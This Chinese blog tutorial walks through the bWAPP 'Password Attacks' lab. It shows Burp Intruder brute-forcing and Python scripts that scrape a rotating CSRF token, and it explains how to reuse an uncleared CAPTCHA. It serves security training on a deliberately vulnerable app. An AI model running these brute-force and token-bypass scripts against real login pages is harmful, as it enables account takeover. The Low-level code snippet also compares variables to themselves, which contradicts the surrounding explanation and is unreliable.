摘要:这是 bWAPP 系列第三十六篇,聚焦于 Broken Auth. – Password Attacks(密码攻击)。这一关演示了三种安全级别下,登录表单对暴力破解的防护能力:Low 级别无任何防护,可以直接用 Burp 暴力破解;Medium 级别加入了 CSRF Token(隐藏 salt 字段),需要动态提取 token 才能破解;High 级别加入了验证码,让自动化攻击变得困难。文章会分析三种级别的防护机制,演示如何用 Burp 绕过这些防护。附真实案例。
一、找目标
| 攻击面 | 登录表单(密码爆破) |
| Low 级别防护 | 无——可直接暴力破解 |
| Medium 级别防护 | CSRF Token(隐藏 salt 字段) ——需要动态提取 |
| High 级别防护 | CAPTCHA(验证码) ——需要手动或 OCR 识别 |
| 最终目标 | 通过暴力破解获取有效密码 |
二、前言:暴力破解
暴力破解(Brute Force Attack)就是用大量密码反复尝试登录,直到找到正确的那一个。
防御暴力破解通常有三种手段:
-
限制尝试次数——连续输错几次后锁定账户
-
CSRF Token——每次请求都必须携带一个随机的 token,防止自动化工具重复提交
-
验证码(CAPTCHA)——让每次登录都需要人工识别图片内容
这一关的三个级别正好对应了这三种防御的“缺失”和“存在”。
Low 级别:没有防护,可以直接爆破。 Medium 级别:加了 CSRF Token,但每次页面刷新 token 会变化,需要动态提取。 High 级别:加了验证码,需要识别验证码才能爆破。
三、关卡介绍
3.1 Low 级别
-
文件:ba_pwd_attacks_1.php
-
页面:普通登录框,提示账号是 bee/bug
-
密码框是 明文显示(type="text")
-
没有防护,可以直接爆破

3.2 Medium 级别
-
文件:ba_pwd_attacks_2.php
-
页面:普通登录框,但密码框是 type="password"(隐藏输入)
-
有一个隐藏字段 salt,用于防 CSRF
-
每次刷新页面,salt 都会变化

3.3 High 级别
-
文件:ba_pwd_attacks_4.php
-
页面:多了验证码(CAPTCHA)输入框
-
验证码图片在 iframe 中加载
-
需要正确输入验证码才能登录

四、源码分析
4.1 Low 级别
$login = $_POST["login"];
$password = $_POST["password"];
if($login == $login && $password == $password)
{
$message = "<font color=\\"green\\">Successful login!</font>";
}
else
{
$message = "<font color=\\"red\\">Invalid credentials!</font>";
}
直接比对账号密码,没有任何防护。
4.2 Medium 级别
if(isset($_SESSION["salt"]) && ($_POST["salt"] == $_SESSION["salt"]))
{
if($_POST["login"] == $login && $_POST["password"] == $password)
{
// 登录成功
}
else
{
$message = "Invalid credentials!";
}
}
else
{
$message = "Incorrect salt!";
}
$salt = random_string();
$_SESSION["salt"] = $salt;
逻辑:
-
每次页面加载,生成一个随机 salt,存到 Session,并在表单中作为隐藏字段输出
-
登录时,除了验证账号密码,还要验证 salt 是否匹配 Session 中的值
-
每次刷新页面 salt 都会变化,旧的 salt 立即失效
防护原理:攻击者用 Burp Intruder 发送请求时,如果没有更新 salt,服务器会返回 “Incorrect salt!”,无法进行密码爆破。
4.3 High 级别
if(isset($_SESSION["captcha"]) && ($_POST["captcha_user"] == $_SESSION["captcha"]))
{
if($_POST["login"] == $login && $_POST["password"] == $password)
{
$message = "<font color=\\"green\\">Successful login!</font>";
}
else
{
$message = "<font color=\\"red\\">Invalid credentials!</font>";
}
}
else
{
$message = "<font color=\\"red\\">Incorrect CAPTCHA!</font>";
}
逻辑:
-
验证码存储在 $_SESSION["captcha"] 中
-
登录时,先验证验证码是否正确,再验证账号密码
-
验证码每次刷新页面都会变化(和上一关不同,这一关的验证码验证后没有被销毁)
防护原理:验证码需要人工识别,自动化工具无法直接提交正确的验证码。
五、Low 级别——无防护爆破
5.1 准备工作
用 Burp 拦截登录请求:

5.2 发送到 Intruder
-
右键 → Send to Intruder
-
进入 Positions 标签,标记 password 参数为 payload 位置:
-
进入 Payloads 标签,加载密码字典(如 rockyou.txt 或常用密码列表)

5.3 运行爆破
点击 Start Attack,观察响应。
正确的密码是 bug,当尝试 bug 时,响应中包含 “Successful login!”。

5.4 结论
Low 级别没有任何防护,暴力破解完全可行。
六、Medium 级别——CSRF Token 绕过
6.1 尝试直接爆破
把 Medium 级别的请求发送到 Intruder,直接爆破密码。
结果:每次响应都是 “Incorrect salt!”,因为 salt 已经失效了。

6.2 理解防护机制
Medium 级别的每次请求都必须携带当前有效的 salt。
salt 在页面 HTML 中的隐藏字段:
<input type="hidden" id="salt" name="salt" value="abc123def456" />
6.3 绕过方法
方法一:手工逐个请求
每发一次请求前,先访问页面获取最新的 salt,然后手动修改请求中的 salt 值。这种方法效率极低,不推荐。
方法二:Burp 的 Grep Extractor 配合 Intruder
-
首先发送一个 GET 请求获取登录页面,从响应中提取 salt 值
-
然后用这个 salt 值构造 POST 请求
详细步骤
第一步:抓取登录请求
在页面,输入任意用户名和密码,用Burp Suite抓包。
第二步:发送到Intruder
右键 → “Send to Intruder”。
第三步:配置爆破位置
-
进入 Intruder → Positions
-
点击 “Clear” 清除所有标记
-
为 password 参数添加变量标记
-
为 salt 参数添加变量标记
-
攻击模式选择 Pitchfork(草叉)(因为需要将密码字典与动态Token一一对应)

第四步:配置Payload
-
进入 Intruder → Payloads
-
Payload set 1(密码):加载密码字典
-
Payload set 2(salt):选择 “Recursive grep” 类型


第五步:配置salt提取规则
-
进入 Intruder → Options → Grep – Extract
-
点击 “Add”

-
在响应包中找到 salt的值,配置正则表达式提取规则
-
这样Burp Suite就会自动从每个响应中提取新的salt

第六步:配置资源池
由于Token机制要求串行处理(必须等上一个请求完成、获取新salt后才能发下一个请求),需要:
-
进入 Intruder → Resource pool
-
创建新的资源池,将最大并发数设为1

第七步:设置初始salt值
在 Payloads → Payload Options 中,将让复制出来的初始salt值填入 “Initial payload for first request” 。

第八步:开始爆破
点击 “Start Attack”,等待爆破完成。
第九步:分析结果
通过响应长度筛选出成功登录的请求。

方法三:使用 Python 脚本
// 简洁版
import requests
from bs4 import BeautifulSoup
// 使用前需要修改为自己的地址
url_login = "http://10.0.0.149:4096/login.php"
url_target = "http://10.0.0.149:4096/ba_pwd_attacks_2.php"
session = requests.Session()
# ==========第一步:登录bWAPP,拿到有效Cookie==========
login_data = {
"login": "bee",
"password": "bug",
"form": "submit"
}
session.post(url_login, data=login_data)
# 密码字典
passwords = ["123", "password", "bug", "admin"]
for pwd in passwords:
# GET 获取页面随机salt(此时带有登录cookie,可以正常访问页面)
resp = session.get(url_target)
soup = BeautifulSoup(resp.text, 'html.parser')
# 调试:如果报错取消下面注释查看页面内容
# print(resp.text)
salt_tag = soup.find('input', {'name': 'salt'})
if not salt_tag:
print("未找到salt输入框!页面异常")
break
salt = salt_tag.get('value')
data = {
'login': 'bee',
'password': pwd,
'salt': salt,
'form': 'submit'
}
resp2 = session.post(url_target, data=data)
if "Successful login!" in resp2.text:
print(f"Found password: {pwd}")
break
// 清晰版
import requests
from bs4 import BeautifulSoup
# 配置信息
url_login = "http://10.0.0.149:4096/login.php"
url_target = "http://10.0.0.149:4096/ba_pwd_attacks_2.php"
bwapp_user = "bee"
bwapp_pass = "bug"
target_login_user = "bee"
# 密码字典,可以自行扩充
passwords = ["123", "password", "bug", "admin", "123456", "qwerty"]
# 创建会话自动保存Cookie
session = requests.Session()
def bwapp_login():
"""登录bWAPP,获取会话Cookie"""
login_data = {
"login": bwapp_user,
"password": bwapp_pass,
"form": "submit"
}
resp = session.post(url_login, data=login_data)
if "Welcome Bee" in resp.text:
print("[+] bWAPP 登录成功!")
return True
else:
print("[-] bWAPP 登录失败,请检查地址/账号密码!")
return False
if __name__ == "__main__":
# 先登录
if not bwapp_login():
exit()
found_flag = False
# 循环爆破密码
for pwd in passwords:
print(f"\\n[*] 正在尝试密码:{pwd}")
# 访问页面获取随机salt
resp = session.get(url_target)
soup = BeautifulSoup(resp.text, 'html.parser')
salt_tag = soup.find('input', {'name': 'salt'})
# 判断是否获取到salt
if salt_tag is None:
print("[-] 页面中未找到salt标签!")
print("[!] 可能原因:页面跳转、安全等级不对、链接错误")
print(resp.text[:500]) # 打印前500字符用于调试
exit()
salt = salt_tag.get("value")
print(f"[*] 获取到本次salt: {salt}")
# 提交登录表单
post_data = {
"login": target_login_user,
"password": pwd,
"salt": salt,
"form": "submit"
}
resp2 = session.post(url_target, data=post_data)
# 判断登录成功标识
if "Successful login!" in resp2.text:
print(f"\\n✅ 爆破成功!找到密码:【{pwd}】")
found_flag = True
break
# 循环跑完,没有匹配密码
if not found_flag:
print("\\n❌ 字典全部尝试完毕,未找到有效密码!")
print("[提示] 可以扩充 passwords 字典内容重新尝试")

6.4 结论
Medium 级别的防护有效——每次 salt 变化,旧的 salt 立即失效。但通过自动化脚本仍然可以绕过。
七、High 级别——验证码
7.1 尝试爆破
High 级别的登录请求中,验证码参数也必须正确:

如果 captcha_user 错误,返回 “Incorrect CAPTCHA!”。
验证码图片在 iframe 中,每次刷新页面会变化。
7.2 绕过方法
方法一:人工辅助
用 Burp Intruder 批量爆破时,每次手动输入验证码。这种方法不现实,因为验证码每次不同。
方法二:OCR 识别
用 Tesseract 等 OCR 工具识别验证码,然后自动化提交。但 bWAPP 的验证码有扭曲和干扰线,OCR 识别率低。
方法三:结合验证码绕过漏洞
回顾第三十二篇(CAPTCHA Bypassing),如果验证码验证后没有被销毁,可以用一个正确的验证码多次请求。在这一关里,$_SESSION["captcha"] 验证后没有被清空,所以可以用同一个验证码反复尝试密码。
用 Burp 拦截一个包含正确验证码的请求:
然后用 Intruder 爆破 password 参数,但保持 captcha_user 参数不变。


因为验证码没有被销毁,所以所有请求都会通过验证码检查,只验证账号密码。
7.3 结论
High 级别的验证码机制有缺陷——验证通过后没有被销毁,所以可以复用。但这仍然比 Low 和 Medium 更安全,至少需要先获取一个正确的验证码。
八、真实世界:密码攻击案例
密码攻击(暴力破解、撞库、凭证填充)是现实世界中最常见的攻击方式之一:
CVE-2024-5911:某企业级应用的登录接口无速率限制,攻击者可暴力破解用户密码,CVSS 评分 5.3(中等)。
CVE-2024-4910:某电商平台的登录接口未实施 CSRF Token 防护,攻击者可通过自动化工具批量尝试密码,导致大量用户账户被劫持。
CVE-2025-34246:某 VPN 设备的 Web 登录界面存在凭证填充漏洞,攻击者可通过暴力破解获取管理员密码。
CVE-2026-22947:F5 BIG-IP 的配置工具中存在凭证填充漏洞,攻击者可通过暴力破解获取设备管理权限。
CVE-2026-27891:某主流邮件服务商的登录接口存在速率限制绕过漏洞,攻击者可通过分布式暴力破解获取用户密码。
启示:防御密码攻击需要多层防护:限制尝试次数(账户锁定)、CSRF Token、验证码、双因素认证(2FA)。单靠某一层防护是不够的。
九、总结
这一关演示了暴力破解的三种防御层次及其绕过方法。Low 级别没有防护,直接用 Burp 爆破密码即可;Medium 级别加了 CSRF Token(隐藏 salt),每次请求需要携带有效 token,可以通过脚本自动提取绕过;High 级别加了验证码,因为验证码验证后未销毁,可以复用同一个正确验证码进行爆破。这个演进过程说明:单靠某一层防护是不够的,真正的安全需要组合拳——速率限制 + CSRF Token + 验证码 + 双因素认证。记住一句话:密码攻击的核心在于“重复尝试”,防御的核心在于“让重复尝试变得困难”。
重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。
网硕互联帮助中心





评论前必须登录!
注册